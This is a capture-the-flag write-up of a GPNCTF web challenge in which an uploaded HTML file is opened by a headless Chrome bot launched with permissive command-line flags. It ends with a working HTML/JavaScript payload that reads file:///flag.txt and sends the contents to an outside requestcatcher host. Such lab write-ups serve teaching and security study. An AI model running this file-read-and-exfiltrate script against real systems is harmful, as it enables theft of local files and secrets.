I heard you like flags, so I launched Chrome with a lot of flags so you can get your flag!

The flag is in /flag.txt, and the bot will visit the HTML file you uploaded!

Category: web

Solver: aes, lukasrad02, Liekedaeler

Flag: GPNCTF{CL1_FL4G5_4R3_FL4G5_T00}

Writeup

This challege allows us as the attacker to upload an HTML file to the server. The description already tells us that the server will visit the file we upload and that the flag is located at /flag.txt in the target system.

Thus, let’s take a look at what is going on on the server side. Examining the code, we find a pretty standard express nodeJS web application that uses multer to enable file uploads.

There are two HTTP routes served by the application. First off, there is the / GET route. This route is not particularly interesting, it just serves the upload form as an HTML string.

The second route that enables POST requests to /submit is what is far more interesting. It takes the uploaded file’s path and passes it to a headless chrome instance. This is done by passing the file into a bash command via string templating.

First Idea: Command Injection?

Such an approach of injecting user-provided information into a bash command via string concatenation is generally vulnerable to command injection, so this was the first thing we tried. This approach did not work with our typical payloads and we quickly noticed why: The server code specifies a renaming scheme for multer that replaces all filenames with random strings. Thus, we did not see a possibility for a command injection attack.

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    cb(null, path.join(__dirname, 'uploads'));
  },
  filename: (req, file, cb) => {
    cb(null, Math.random().toString(36).substring(7) + '.html');
  }
});

Exploiting the Command Line Flags

But the most interesting part of the challenge still follows. The browser instance that is started is provided with an extremely large number of flags that are provided in the flags.txt file in the repo. So, let’s see which capabilities we want from the browser.

First off, we need a way to get the flag to us after we were able to gather it. The application does not provide a return channel for the input we provide. We are only given the command that is run on the system. This tells us that we will need to exfiltrate the data to another server, for example, via an HTTP request. This is something that we can do from a locally stored HTML file that is opened in a web browser. We would normally likely be unable to get the return value of the fetch request due to CORS but we don’t require the result for our attack. This way, we have a return channel for later.

What is far more critical, however, is accessing the flag on the system itself. By default, websites are not allowed to request file:// URLs from any origin, not even locally stored ones. So, we took a look at the list of the provided flags, did a Ctrl+F for “file” and checked the flags against a publicly available list. The first result, --allow-file-access-from-files, already sounded pretty interesting:

By default, file:// URIs cannot read other file:// URIs. This is an override for developers who need the old behavior for testing.

This is exactly what we want: Perform a fetch request for the /flag.txt and then forward it to our server. As this flag is enabled on the server, we can simply construct the following payload that does exactly that and pull the flag from the requestcatcher server.

<html>
<body>
  <script>
    async function run() {
      const response = await fetch("file:///flag.txt");
      const flag = await response.text()
      fetch("https://plsdonthack.requestcatcher.com/flag/" + flag)
    }
    run()
  </script>
</body>
</html>